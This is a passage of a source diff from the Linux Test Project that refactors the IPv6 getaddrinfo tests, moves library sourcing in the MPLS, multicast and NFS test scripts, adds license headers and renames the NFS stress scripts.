-			tst_resm(TFAIL, "getaddrinfo IPv6 host+service, PASSIVE"
-				 ": fam %d alen %d addr 0x%p addr/fam %d "
-				 "addr/port %d H[%d]",
-				 pai->ai_family, pai->ai_addrlen, psin6,
-				 psin6 ? psin6->sin6_family : 0,
-				 psin6 ? psin6->sin6_port : 0,
-				 psin6 ? htons(psin6->sin6_port) : 0);
-			freeaddrinfo(aires);
-			return;
-		}
-		tst_resm(TPASS, "getaddrinfo IPv6 host+service PASSIVE");
-		freeaddrinfo(aires);
-	} else {
-		tst_resm(TFAIL, "getaddrinfo IPv6 host+"
-			 "service, PASSIVE (\"%s\", \"%s\") returns %ld (\"%s\")",
-			 hostname, service, TEST_RETURN,
-			 gai_strerror(TEST_RETURN));
-		return;
-	}
-
-	/* test 16, IPv6 host+service w/ AI_NUMERICHOST */
-	memset(&hints, 0, sizeof(hints));
-	strcpy(service, "echo");
-	servnum = 7;
-	hints.ai_family = AF_INET6;
-	hints.ai_flags = AI_NUMERICHOST;
-	TEST(getaddrinfo(hostname, service, &hints, &aires));
-	if (TEST_RETURN != EAI_NONAME) {
-		tst_resm(TFAIL, "getaddrinfo IPv6 AI_NUMERICHOST w/ hostname: "
-			 "returns %ld expected %d (EAI_NONAME)",
-			 TEST_RETURN, EAI_NONAME);
-		if (!TEST_RETURN)
-			freeaddrinfo(aires);
-		return;
-	}
-	tst_resm(TPASS, "getaddrinfo IPv6 AI_NUMERICHOST w/ hostname");
-	if (!TEST_RETURN)
-		freeaddrinfo(aires);
-
-	/* test 17, IPv6 0+service, AI_PASSIVE */
-	memset(&hints, 0, sizeof(hints));
-	hints.ai_family = AF_INET6;
-	hints.ai_flags = AI_PASSIVE;
-	hints.ai_socktype = SOCK_STREAM;
-	strcpy(service, "9462");
-	servnum = htons(9462);
-	TEST(getaddrinfo(0, service, &hints, &aires));
-	if (!TEST_RETURN) {
-		struct sockaddr_in6 *psin6 = 0;
-		int err = 0;
-
-		for (pai = aires; pai; pai = pai->ai_next) {
-			err |= pai->ai_family != AF_INET6;
-			err |= pai->ai_addrlen != sizeof(struct sockaddr_in6);
-			err |= pai->ai_addr == 0;
-			psin6 = (struct sockaddr_in6 *)pai->ai_addr;
-			if (pai->ai_addr) {
-
-				/* AI_PASSIVE means addr must be INADDR_ANY */
-				err |= memcmp(&psin6->sin6_addr, &in6addr_any,
-					      sizeof(struct in6_addr)) != 0;
-				err |= psin6->sin6_family != AF_INET6;
-				err |= psin6->sin6_port != servnum;
-			}
-			if (err)
-				break;
-		}
-		if (err) {
-			tst_resm(TFAIL, "getaddrinfo IPv6 0+service, PASSIVE:"
-				 " fam %d alen %d addr 0x%p addr/fam %d "
-				 "addr/port %d H[%d]",
-				 pai->ai_family, pai->ai_addrlen, psin6,
-				 psin6 ? psin6->sin6_family : 0,
-				 psin6 ? psin6->sin6_port : 0,
-				 psin6 ? htons(psin6->sin6_port) : 0);
-			freeaddrinfo(aires);
-			return;
-		}
-		tst_resm(TPASS, "getaddrinfo IPv6 0+service, PASSIVE");
-		freeaddrinfo(aires);
-	} else {
-		if (TEST_RETURN == EAI_BADFLAGS) {
-			tst_resm(TPASS, "getaddrinfo IPv6 0+service, PASSIVE"
-				" (\"\", \"%s\") returns %ld (\"%s\")", service,
-				TEST_RETURN, gai_strerror(TEST_RETURN));
-		} else {
-			tst_resm(TFAIL, "getaddrinfo IPv6 0+service, PASSIVE"
-				" (\"\", \"%s\") returns %ld (\"%s\")", service,
-				TEST_RETURN, gai_strerror(TEST_RETURN));
-			return;
-		}
-	}
-
-	/* test 18, IPv6 0+service */
-	memset(&hints, 0, sizeof(hints));
-	hints.ai_family = AF_INET6;
-	hints.ai_socktype = SOCK_STREAM;
-	strcpy(service, "9462");
-	servnum = htons(9462);
-	TEST(getaddrinfo(0, service, &hints, &aires));
-	if (!TEST_RETURN) {
-		struct sockaddr_in6 *psin6 = 0;
-		int err = 0;
-
-		for (pai = aires; pai; pai = pai->ai_next) {
-			err |= pai->ai_family != AF_INET6;
-			err |= pai->ai_addrlen != sizeof(struct sockaddr_in6);
-			err |= pai->ai_addr == 0;
-			psin6 = (struct sockaddr_in6 *)pai->ai_addr;
-			if (pai->ai_addr) {
-				/* hostname not set; addr should be loopback */
-				err |= memcmp(&psin6->sin6_addr,
-					      &in6addr_loopback,
-					      sizeof(struct in6_addr)) != 0;
-				err |= psin6->sin6_family != AF_INET6;
-				err |= psin6->sin6_port != servnum;
-			}
-			if (err)
-				break;
-		}
-		if (err) {
-			tst_resm(TFAIL, "getaddrinfo IPv6 0+service: "
-				 "fam %d alen %d addr 0x%p addr/fam %d "
-				 "addr/port %d H[%d]",
-				 pai->ai_family, pai->ai_addrlen, psin6,
-				 psin6 ? psin6->sin6_family : 0,
-				 psin6 ? psin6->sin6_port : 0,
-				 psin6 ? htons(psin6->sin6_port) : 0);
-			freeaddrinfo(aires);
-			return;
-		}
-		tst_resm(TPASS, "getaddrinfo IPv6 0+service");
-		freeaddrinfo(aires);
-	} else {
-		if (TEST_RETURN == EAI_BADFLAGS) {
-			tst_resm(TPASS, "getaddrinfo IPv6 0+service"
-				" (\"\", \"%s\") returns %ld (\"%s\")", service,
-				TEST_RETURN, gai_strerror(TEST_RETURN));
-		} else {
-			tst_resm(TFAIL, "getaddrinfo IPv6 0+service"
-				" (\"\", \"%s\") returns %ld (\"%s\")", service,
-				TEST_RETURN, gai_strerror(TEST_RETURN));
-			return;
-		}
-	}
-
-	/* test 19, IPv6 host+service, AI_NUMERICSERV */
-#ifndef AI_NUMERICSERV
-	tst_resm(TCONF, "getaddrinfo IPv6 host+service, AI_NUMERICSERV: flag "
-		 "not implemented");
-#else
-	memset(&hints, 0, sizeof(hints));
-	strcpy(service, "echo");
-	servnum = 7;
-	hints.ai_family = AF_INET6;
-	hints.ai_flags = AI_NUMERICSERV;
-	TEST(getaddrinfo(hostname, service, &hints, &aires));
-	if (TEST_RETURN != EAI_NONAME) {
-		tst_resm(TFAIL,
-			 "getaddrinfo IPv6 host+service, AI_NUMERICSERV: "
-			 "returns %ld (\"%s\") expected %d (EAI_NONAME)",
-			 TEST_RETURN, gai_strerror(TEST_RETURN), EAI_NONAME);
-		if (!TEST_RETURN)
-			freeaddrinfo(aires);
-		return;
-	}
-	tst_resm(TPASS, "getaddrinfo IPv6 host+service, AI_NUMERICSERV");
-	if (!TEST_RETURN)
-		freeaddrinfo(aires);
-#endif /* AI_NUMERICSERV */
-
-	/* test 20, IPv6 SOCK_STREAM/IPPROTO_UDP hints */
-	memset(&hints, 0, sizeof(hints));
-	hints.ai_family = AF_INET6;
-	hints.ai_socktype = SOCK_STREAM;
-	hints.ai_protocol = IPPROTO_UDP;
-	strcpy(service, "9462");
-	servnum = htons(9462);
-	TEST(getaddrinfo(0, service, &hints, &aires));
-	if (!TEST_RETURN) {
-		tst_resm(TFAIL, "getaddrinfo IPv6 SOCK_STREAM/IPPROTO_UDP "
-			 "hints");
-		freeaddrinfo(aires);
-		return;
-	}
-	tst_resm(TPASS, "getaddrinfo IPv6 SOCK_STREAM/IPPROTO_UDP hints");
-
-	/* test 21, IPv6 socktype 0, 513 */
-	memset(&hints, 0, sizeof(hints));
-	hints.ai_family = AF_INET6;
-	hints.ai_socktype = 0;
-	strcpy(service, "513");
-	servnum = htons(513);
-	TEST(getaddrinfo(0, service, &hints, &aires));
-	if (!TEST_RETURN) {
-		struct sockaddr_in6 *psin6 = 0;
-		int got_tcp, got_udp;
-		int err = 0;
-
-		got_tcp = got_udp = 0;
-		for (pai = aires; pai; pai = pai->ai_next) {
-			err |= pai->ai_family != AF_INET6;
-			err |= pai->ai_addrlen != sizeof(struct sockaddr_in6);
-			err |= pai->ai_addr == 0;
-			got_tcp |= pai->ai_socktype == SOCK_STREAM;
-			got_udp |= pai->ai_socktype == SOCK_DGRAM;
-			psin6 = (struct sockaddr_in6 *)pai->ai_addr;
-			if (pai->ai_addr) {
-				/* hostname not set; addr should be loopback */
-				err |= memcmp(&psin6->sin6_addr,
-					      &in6addr_loopback,
-					      sizeof(struct in6_addr)) != 0;
-				err |= psin6->sin6_family != AF_INET6;
-				err |= psin6->sin6_port != servnum;
-			}
-			if (err)
-				break;
-		}
-		if (err) {
-			tst_resm(TFAIL, "getaddrinfo IPv6 socktype 0,513: "
-				 "fam %d alen %d addr 0x%p addr/fam %d "
-				 "addr/port %d H[%d]",
-				 pai->ai_family, pai->ai_addrlen, psin6,
-				 psin6 ? psin6->sin6_family : 0,
-				 psin6 ? psin6->sin6_port : 0,
-				 psin6 ? htons(psin6->sin6_port) : 0);
-			freeaddrinfo(aires);
-			return;
-		} else if (got_tcp && got_udp) {
-			tst_resm(TPASS, "getaddrinfo IPv6 socktype 0,513");
-			freeaddrinfo(aires);
-		} else {
-			tst_resm(TFAIL, "getaddrinfo IPv6 socktype 0,513 TCP %d"
-				 " UDP %d", got_tcp, got_udp);
-			freeaddrinfo(aires);
-			return;
-		}
-	} else {
-		if (TEST_RETURN == EAI_BADFLAGS) {
-			tst_resm(TPASS, "getaddrinfo IPv6 socktype 0,513"
-				" (\"\", \"%s\") returns %ld (\"%s\")", service,
-				TEST_RETURN, gai_strerror(TEST_RETURN));
-		} else {
-			tst_resm(TFAIL, "getaddrinfo IPv6 socktype 0,513"
-				" (\"\", \"%s\") returns %ld (\"%s\")", service,
-				TEST_RETURN, gai_strerror(TEST_RETURN));
-			return;
-		}
-	}
-
-	/* test 22, IPv6 AI_V4MAPPED */
-	memset(&hints, 0, sizeof(hints));
-	hints.ai_family = AF_INET6;
-	hints.ai_flags = AI_V4MAPPED;
-	TEST(getaddrinfo(hostname, 0, &hints, &aires));
-	if (!TEST_RETURN) {
-		struct sockaddr_in6 *psin6 = 0;
-		int err = 0;
-
-		for (pai = aires; pai; pai = pai->ai_next) {
-			err |= pai->ai_family != AF_INET6;
-			err |= pai->ai_addrlen != sizeof(struct sockaddr_in6);
-			err |= pai->ai_addr == 0;
-			psin6 = (struct sockaddr_in6 *)pai->ai_addr;
-			if (pai->ai_addr) {
-				err |= psin6->sin6_family != AF_INET6;
-				err |= psin6->sin6_port != 0;
-			}
-			if (err)
-				break;
-		}
-		if (err) {
-			tst_resm(TFAIL, "getaddrinfo IPv6 AI_V4MAPPED: "
-				 "fam %d alen %d addr 0x%p addr/fam %d "
-				 "addr/port %d H[%d]",
-				 pai->ai_family, pai->ai_addrlen, psin6,
-				 psin6 ? psin6->sin6_family : 0,
-				 psin6 ? psin6->sin6_port : 0,
-				 psin6 ? htons(psin6->sin6_port) : 0);
-			freeaddrinfo(aires);
-			return;
-		}
-		tst_resm(TPASS, "getaddrinfo IPv6 AI_V4MAPPED");
-		freeaddrinfo(aires);
-	} else {
-		tst_resm(TFAIL, "getaddrinfo IPv6 "
-			 "AI_V4MAPPED (\"%s\") returns %ld (\"%s\")", hostname,
-			 TEST_RETURN, gai_strerror(TEST_RETURN));
-		return;
-	}
+	family = tcases[i].family;
+	hostname = tcases[i].name;
+	shortname = tcases[i].alias;
+	gaiv();
 }
+
+static struct tst_test test = {
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = do_test,
+};
diff --git a/testcases/network/mpls/mpls01.sh b/testcases/network/mpls/mpls01.sh
index c7788b5..196b5b2 100755
--- a/testcases/network/mpls/mpls01.sh
+++ b/testcases/network/mpls/mpls01.sh
@@ -12,7 +12,6 @@
 TST_NEEDS_DRIVERS="mpls_router"
 TST_NEEDS_CMDS="sysctl modprobe"
 
-. tst_net.sh
 
 cleanup()
 {
@@ -67,4 +66,5 @@
 	tst_res TPASS "created and removed mpls routes"
 }
 
+. tst_net.sh
 tst_run
diff --git a/testcases/network/mpls/mpls02.sh b/testcases/network/mpls/mpls02.sh
index 2fd3ec5..a35149e 100755
--- a/testcases/network/mpls/mpls02.sh
+++ b/testcases/network/mpls/mpls02.sh
@@ -6,8 +6,6 @@
 TST_TESTFUNC="do_test"
 TST_CLEANUP="cleanup"
 
-. mpls_lib.sh
-
 cleanup()
 {
 	ip route del $ip_rmt/$mask > /dev/null 2>&1
@@ -50,4 +48,5 @@
 	fi
 }
 
+. mpls_lib.sh
 tst_run
diff --git a/testcases/network/mpls/mpls03.sh b/testcases/network/mpls/mpls03.sh
index 0db6dbf..fd9dd58 100755
--- a/testcases/network/mpls/mpls03.sh
+++ b/testcases/network/mpls/mpls03.sh
@@ -6,9 +6,6 @@
 TST_TESTFUNC="mpls_virt_test"
 TST_CLEANUP="mpls_virt_cleanup"
 
-. virt_lib.sh
-. mpls_lib.sh
-
 setup()
 {
 	virt_type="gre"
@@ -21,4 +18,6 @@
 	mpls_virt_setup
 }
 
+. virt_lib.sh
+. mpls_lib.sh
 tst_run
diff --git a/testcases/network/mpls/mpls04.sh b/testcases/network/mpls/mpls04.sh
index 639a13e..aae4b35 100755
--- a/testcases/network/mpls/mpls04.sh
+++ b/testcases/network/mpls/mpls04.sh
@@ -6,9 +6,6 @@
 TST_TESTFUNC="mpls_virt_test"
 TST_CLEANUP="mpls_virt_cleanup"
 
-. virt_lib.sh
-. mpls_lib.sh
-
 setup()
 {
 	virt_type="sit"
@@ -16,4 +13,6 @@
 	mpls_virt_setup
 }
 
+. virt_lib.sh
+. mpls_lib.sh
 tst_run
diff --git a/testcases/network/mpls/mpls_lib.sh b/testcases/network/mpls/mpls_lib.sh
index 30e0695..380b568 100755
--- a/testcases/network/mpls/mpls_lib.sh
+++ b/testcases/network/mpls/mpls_lib.sh
@@ -1,5 +1,6 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) Linux Test Project, 2018-2022
 # Copyright (c) 2018 Oracle and/or its affiliates. All Rights Reserved.
 
 TST_MIN_KVER="4.3"
@@ -9,7 +10,6 @@
 TST_NEEDS_CMDS="sysctl modprobe"
 TST_TEST_DATA="icmp tcp udp"
 TST_NETLOAD_BINDTODEVICE=
-. tst_net.sh
 
 mpls_cleanup()
 {
@@ -96,3 +96,5 @@
 		tst_netload -S $ip6_virt_local -H $ip6_virt_remote -T $type -A $max_size
 	fi
 }
+
+. tst_net.sh
diff --git a/testcases/network/multicast/mc_cmds/Makefile b/testcases/network/multicast/mc_cmds/Makefile
index f4142ad..4d9e1be 100644
--- a/testcases/network/multicast/mc_cmds/Makefile
+++ b/testcases/network/multicast/mc_cmds/Makefile
@@ -26,6 +26,4 @@
 
 INSTALL_TARGETS	:= mc_cmds.sh
 
-MAKE_TARGETS	:=
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/multicast/mc_cmds/mc_cmds.sh b/testcases/network/multicast/mc_cmds/mc_cmds.sh
index 00bbbee..bd59f3a 100755
--- a/testcases/network/multicast/mc_cmds/mc_cmds.sh
+++ b/testcases/network/multicast/mc_cmds/mc_cmds.sh
@@ -28,9 +28,8 @@
 
 TCID=mc_cmds
 TST_TOTAL=1
-
+TST_CLEANUP=do_cleanup
 TST_USE_LEGACY_API=1
-. tst_net.sh
 
 knob="net.ipv4.icmp_echo_ignore_broadcasts"
 knob_changed=
@@ -92,7 +91,6 @@
 	tst_rmdir
 }
 
+. tst_net.sh
 setup
-TST_CLEANUP=do_cleanup
-
 do_test
diff --git a/testcases/network/multicast/mc_commo/mc_commo.sh b/testcases/network/multicast/mc_commo/mc_commo.sh
index b537080..bc47fda 100755
--- a/testcases/network/multicast/mc_commo/mc_commo.sh
+++ b/testcases/network/multicast/mc_commo/mc_commo.sh
@@ -30,9 +30,8 @@
 
 TCID=mc_commo
 TST_TOTAL=2
-
+TST_CLEANUP=do_cleanup
 TST_USE_LEGACY_API=1
-. tst_net.sh
 
 do_setup()
 {
@@ -88,8 +87,8 @@
 	tst_rmdir
 }
 
+. tst_net.sh
 do_setup
-TST_CLEANUP=do_cleanup
 
 for i in $(seq 1 $TST_TOTAL); do
 	do_test
diff --git a/testcases/network/multicast/mc_member/mc_member.sh b/testcases/network/multicast/mc_member/mc_member.sh
index f41b03a..5f44a1c 100755
--- a/testcases/network/multicast/mc_member/mc_member.sh
+++ b/testcases/network/multicast/mc_member/mc_member.sh
@@ -32,9 +32,8 @@
 TCID=mc_member
 TST_TOTAL=1
 TST_COUNT=1
-
+TST_CLEANUP=do_cleanup
 TST_USE_LEGACY_API=1
-. tst_net.sh
 
 setup()
 {
@@ -133,7 +132,6 @@
 	tst_rmdir
 }
 
+. tst_net.sh
 setup
-TST_CLEANUP=do_cleanup
-
 do_test
diff --git a/testcases/network/multicast/mc_opts/mc_verify_opts.c b/testcases/network/multicast/mc_opts/mc_verify_opts.c
index 679b817..0c1ea3e 100644
--- a/testcases/network/multicast/mc_opts/mc_verify_opts.c
+++ b/testcases/network/multicast/mc_opts/mc_verify_opts.c
@@ -1,3 +1,8 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Linux Test Project, 2001-2022
+ */
+
 #include <sys/types.h>
 #include <sys/socket.h>
 #include <netinet/in.h>
@@ -19,10 +24,10 @@
 	struct in_addr gimr;
 	struct ip_mreq simr;
 
-	unsigned i1, i2, i3, i4;
+	unsigned int i1, i2, i3, i4;
 	struct hostent *hp, *gethostbyname();
 
-	char sintf[20], gintf[20];
+	char sintf[20], gintf[20] = {0};
 	unsigned char ttl;
 	char loop = 0;
 	unsigned int len = 0;
diff --git a/testcases/network/multicast/mc_opts/mc_verify_opts_error.c b/testcases/network/multicast/mc_opts/mc_verify_opts_error.c
index 9807e88..4f189fe 100644
--- a/testcases/network/multicast/mc_opts/mc_verify_opts_error.c
+++ b/testcases/network/multicast/mc_opts/mc_verify_opts_error.c
@@ -1,3 +1,8 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Linux Test Project, 2001-2022
+ */
+
 #include <sys/types.h>
 #include <sys/socket.h>
 #include <netinet/in.h>
@@ -13,7 +18,7 @@
 	int s;
 	struct in_addr simr, gimr;
 
-	unsigned i1, i2, i3, i4;
+	unsigned int i1, i2, i3, i4;
 	struct hostent *hp, *gethostbyname();
 
 	unsigned char ttl;
diff --git a/testcases/network/netstress/Makefile b/testcases/network/netstress/Makefile
index 0ada526..49516d1 100644
--- a/testcases/network/netstress/Makefile
+++ b/testcases/network/netstress/Makefile
@@ -1,17 +1,5 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
 # Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/network/netstress/netstress.c b/testcases/network/netstress/netstress.c
index c46bc86..7c22253 100644
--- a/testcases/network/netstress/netstress.c
+++ b/testcases/network/netstress/netstress.c
@@ -713,17 +713,21 @@
 
 static void move_to_background(void)
 {
-	if (SAFE_FORK())
+	if (SAFE_FORK()) {
+		TST_CHECKPOINT_WAIT(0);
 		exit(0);
+	}
 
 	SAFE_SETSID();
 
+	TST_CHECKPOINT_WAKE(0);
+
 	close(STDIN_FILENO);
 	SAFE_OPEN("/dev/null", O_RDONLY);
 	close(STDOUT_FILENO);
 	close(STDERR_FILENO);
 
-	int fd = SAFE_OPEN(log_path, O_CREAT | O_TRUNC | O_RDONLY, 00444);
+	int fd = SAFE_OPEN(log_path, O_CREAT | O_TRUNC | O_WRONLY, 0644);
 
 	SAFE_DUP(fd);
 }
@@ -998,30 +1002,32 @@
 	.setup = setup,
 	.cleanup = cleanup,
 	.options = (struct tst_option[]) {
-		{"f", &fastopen_api, "-f       Use TFO API, default is old API"},
-		{"F", &fastopen_sapi, "-F       TCP_FASTOPEN_CONNECT socket option and standard API"},
-		{"t:", &targ, "-t x     Set tcp_fastopen value"},
-		{"S:", &source_addr, "-S x     Source address to bind"},
-		{"g:", &tcp_port, "-g x     x - server port"},
-		{"b:", &barg, "-b x     x - low latency busy poll timeout"},
-		{"T:", &type, "-T x     tcp (default), udp, udp_lite, dccp, sctp"},
-		{"z", &zcopy, "-z       enable SO_ZEROCOPY"},
-		{"P:", &reuse_port, "-P       enable SO_REUSEPORT"},
-		{"D:", &dev, "-D x     bind to device x\n"},
+		{"f", &fastopen_api, "Use TFO API, default is old API"},
+		{"F", &fastopen_sapi, "TCP_FASTOPEN_CONNECT socket option and standard API"},
+		{"t:", &targ, "Set tcp_fastopen value"},
+		{"S:", &source_addr, "Source address to bind"},
+		{"g:", &tcp_port, "Server port"},
+		{"b:", &barg, "Low latency busy poll timeout"},
+		{"T:", &type, "Tcp (default), udp, udp_lite, dccp, sctp"},
+		{"z", &zcopy, "Enable SO_ZEROCOPY"},
+		{"P:", &reuse_port, "Enable SO_REUSEPORT"},
+		{"D:", &dev, "Bind to device x"},
 
-		{"H:", &server_addr, "Client:\n-H x     Server name or IP address"},
-		{"l", &client_mode, "-l       Become client, default is server"},
-		{"a:", &aarg, "-a x     Number of clients running in parallel"},
-		{"r:", &rarg, "-r x     Number of client requests"},
-		{"n:", &narg, "-n x     Client message size"},
-		{"N:", &Narg, "-N x     Server message size"},
-		{"m:", &Targ, "-m x     Receive timeout in milliseconds (not used by UDP/DCCP client)"},
-		{"d:", &rpath, "-d x     x is a path to file where result is saved"},
-		{"A:", &Aarg, "-A x     x max payload length (generated randomly)\n"},
+		{"H:", &server_addr, "Server name or IP address"},
+		{"l", &client_mode, "Become client, default is server"},
+		{"a:", &aarg, "Number of clients running in parallel"},
+		{"r:", &rarg, "Number of client requests"},
+		{"n:", &narg, "Client message size"},
+		{"N:", &Narg, "Server message size"},
+		{"m:", &Targ, "Receive timeout in milliseconds (not used by UDP/DCCP client)"},
+		{"d:", &rpath, "Path to file where result is saved"},
+		{"A:", &Aarg, "Max payload length (generated randomly)"},
 
-		{"R:", &Rarg, "Server:\n-R x     x requests after which conn.closed"},
-		{"q:", &qarg, "-q x     x - TFO queue"},
-		{"B:", &server_bg, "-B x     run in background, x - process directory"},
+		{"R:", &Rarg, "Server requests after which conn.closed"},
+		{"q:", &qarg, "TFO queue"},
+		{"B:", &server_bg, "Run in background, arg is the process directory"},
 		{}
 	},
+	.max_runtime = 300,
+	.needs_checkpoints = 1,
 };
diff --git a/testcases/network/nfs/fsx-linux/fsx.sh b/testcases/network/nfs/fsx-linux/fsx.sh
index 58712e8..9bb46ad 100755
--- a/testcases/network/nfs/fsx-linux/fsx.sh
+++ b/testcases/network/nfs/fsx-linux/fsx.sh
@@ -10,8 +10,6 @@
 
 TST_TESTFUNC="do_test"
 
-. nfs_lib.sh
-
 do_test()
 {
 	ITERATIONS=${ITERATIONS:=50000}
@@ -25,4 +23,5 @@
 	fi
 }
 
+. nfs_lib.sh
 tst_run
diff --git a/testcases/network/nfs/nfs_stress/Makefile b/testcases/network/nfs/nfs_stress/Makefile
index 856008c..8cd0958 100644
--- a/testcases/network/nfs/nfs_stress/Makefile
+++ b/testcases/network/nfs/nfs_stress/Makefile
@@ -10,11 +10,12 @@
 nfs05_make_tree: LDLIBS += -lpthread
 
 INSTALL_TARGETS		:= nfs_lib.sh \
-			   nfs01 \
-			   nfs02 \
-			   nfs03 \
-			   nfs04 \
-			   nfs05 \
-			   nfs06
+			   nfs01.sh \
+			   nfs02.sh \
+			   nfs03.sh \
+			   nfs04.sh \
+			   nfs05.sh \
+			   nfs06.sh \
+			   nfs07.sh
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/nfs/nfs_stress/nfs01 b/testcases/network/nfs/nfs_stress/nfs01.sh
similarity index 99%
rename from testcases/network/nfs/nfs_stress/nfs01
rename to testcases/network/nfs/nfs_stress/nfs01.sh
index 356e967..b21ec78 100755
--- a/testcases/network/nfs/nfs_stress/nfs01
+++ b/testcases/network/nfs/nfs_stress/nfs01.sh
@@ -10,8 +10,6 @@
 
 TST_TESTFUNC="do_test"
 
-. nfs_lib.sh
-
 do_test()
 {
 	tst_res TINFO "starting 'nfs01_open_files $NFILES'"
@@ -19,4 +17,5 @@
 	tst_res TPASS "test finished successfully"
 }
 
+. nfs_lib.sh
 tst_run
diff --git a/testcases/network/nfs/nfs_stress/nfs01_open_files.c b/testcases/network/nfs/nfs_stress/nfs01_open_files.c
index 9342f11..678d7a9 100644
--- a/testcases/network/nfs/nfs_stress/nfs01_open_files.c
+++ b/testcases/network/nfs/nfs_stress/nfs01_open_files.c
@@ -1,3 +1,8 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Linux Test Project, 2001-2022
+ */
+
 #include <stdio.h>
 #include <errno.h>
 #include <stdarg.h>
@@ -10,7 +15,11 @@
 #include <sys/stat.h>
 #include <unistd.h>
 
-#define TEMPLATE "ltpXXXXXX"
+#define TEMPLATE_PREFIX "ltp"
+#define TEMPLATE_PREFIX_LEN (sizeof(TEMPLATE_PREFIX) - 1)
+#define TEMPLATE TEMPLATE_PREFIX "XXXXXX"
+#define MSG "I Love Linux!!!\n"
+#define MSG_LEN (sizeof(MSG) - 1)
 
 int write_something(int);
 void delete_files(void);
@@ -82,7 +91,7 @@
 int write_something(int fd)
 {
 	int rc;
-	const char msg[] = "I Love Linux!!!\n";
+	const char msg[] = MSG;
 	int msg_len = strlen(msg);
 
 	rc = write(fd, msg, msg_len);
@@ -101,13 +110,15 @@
 
 	dirp = opendir(".");
 	for (entp = readdir(dirp); entp; entp = readdir(dirp))
-		if (!strncmp(entp->d_name, "apt", 3)) {
+		if (!strncmp(entp->d_name, TEMPLATE_PREFIX, TEMPLATE_PREFIX_LEN)) {
 			if (stat(entp->d_name, &stat_buffer))
 				abortx("stat() failed for \"%s\", errno = %d",
 				       entp->d_name, errno);
-			if (stat_buffer.st_size != 23)
-				abortx("wrong file size for \"%s\"",
-				       entp->d_name);
+
+			if (stat_buffer.st_size != MSG_LEN)
+				abortx("wrong file size for \"%s\": %d",
+				       entp->d_name, stat_buffer.st_size);
+
 			if (unlink(entp->d_name))
 				abortx("unlink failed for \"%s\"",
 				       entp->d_name);
diff --git a/testcases/network/nfs/nfs_stress/nfs02 b/testcases/network/nfs/nfs_stress/nfs02.sh
similarity index 99%
rename from testcases/network/nfs/nfs_stress/nfs02
rename to testcases/network/nfs/nfs_stress/nfs02.sh
index e80909b..b7fbbce 100755
--- a/testcases/network/nfs/nfs_stress/nfs02
+++ b/testcases/network/nfs/nfs_stress/nfs02.sh
@@ -12,8 +12,6 @@
 TST_TESTFUNC="do_test"
 LTP_DATAFILES="$LTPROOT/testcases/bin/datafiles"
 
-. nfs_lib.sh
-
 do_test1()
 {
 	tst_res TINFO "do_test1 $TC"
@@ -48,4 +46,5 @@
 	tst_res TPASS "test3 passed"
 }
 
+. nfs_lib.sh
 tst_run
diff --git a/testcases/network/nfs/nfs_stress/nfs03 b/testcases/network/nfs/nfs_stress/nfs03.sh
similarity index 99%
rename from testcases/network/nfs/nfs_stress/nfs03
rename to testcases/network/nfs/nfs_stress/nfs03.sh
index d68456d..e5f4de6 100755
--- a/testcases/network/nfs/nfs_stress/nfs03
+++ b/testcases/network/nfs/nfs_stress/nfs03.sh
@@ -8,8 +8,6 @@
 TST_SETUP="nfs03_setup"
 TST_TESTFUNC="do_test"
 
-. nfs_lib.sh
-
 DIR_NUM=${DIR_NUM:-"100"}
 FILE_NUM=${FILE_NUM:-"100"}
 THREAD_NUM=${THREAD_NUM:-"1"}
@@ -92,4 +90,5 @@
 	nfs_cleanup
 }
 
+. nfs_lib.sh
 tst_run
diff --git a/testcases/network/nfs/nfs_stress/nfs04 b/testcases/network/nfs/nfs_stress/nfs04.sh
similarity index 99%
rename from testcases/network/nfs/nfs_stress/nfs04
rename to testcases/network/nfs/nfs_stress/nfs04.sh
index 1f59af5..b58bebf 100755
--- a/testcases/network/nfs/nfs_stress/nfs04
+++ b/testcases/network/nfs/nfs_stress/nfs04.sh
@@ -12,7 +12,6 @@
 # Created by: Robbie Williamson (robbiew@us.ibm.com)
 
 TST_TESTFUNC="do_test"
-. nfs_lib.sh
 
 do_test()
 {
@@ -21,4 +20,5 @@
     tst_res TPASS "Test finished"
 }
 
+. nfs_lib.sh
 tst_run
diff --git a/testcases/network/nfs/nfs_stress/nfs05 b/testcases/network/nfs/nfs_stress/nfs05.sh
similarity index 92%
rename from testcases/network/nfs/nfs_stress/nfs05
rename to testcases/network/nfs/nfs_stress/nfs05.sh
index 2742a54..c18ef1a 100755
--- a/testcases/network/nfs/nfs_stress/nfs05
+++ b/testcases/network/nfs/nfs_stress/nfs05.sh
@@ -8,14 +8,12 @@
 #
 # Created by: Robbie Williamson (robbiew@us.ibm.com)
 
-DIR_NUM=${DIR_NUM:-"20"}
-FILE_NUM=${FILE_NUM:-"50"}
+DIR_NUM=${DIR_NUM:-"10"}
+FILE_NUM=${FILE_NUM:-"30"}
 THREAD_NUM=${THREAD_NUM:-"8"}
 TST_NEEDS_CMDS="make gcc"
 TST_TESTFUNC="do_test"
 
-. nfs_lib.sh
-
 do_test()
 {
     tst_res TINFO "start nfs05_make_tree -d $DIR_NUM -f $FILE_NUM -t $THREAD_NUM"
@@ -24,4 +22,5 @@
     tst_res TPASS "test finished"
 }
 
+. nfs_lib.sh
 tst_run
diff --git a/testcases/network/nfs/nfs_stress/nfs05_make_tree.c b/testcases/network/nfs/nfs_stress/nfs05_make_tree.c
index 23c520d..5456c1b 100644
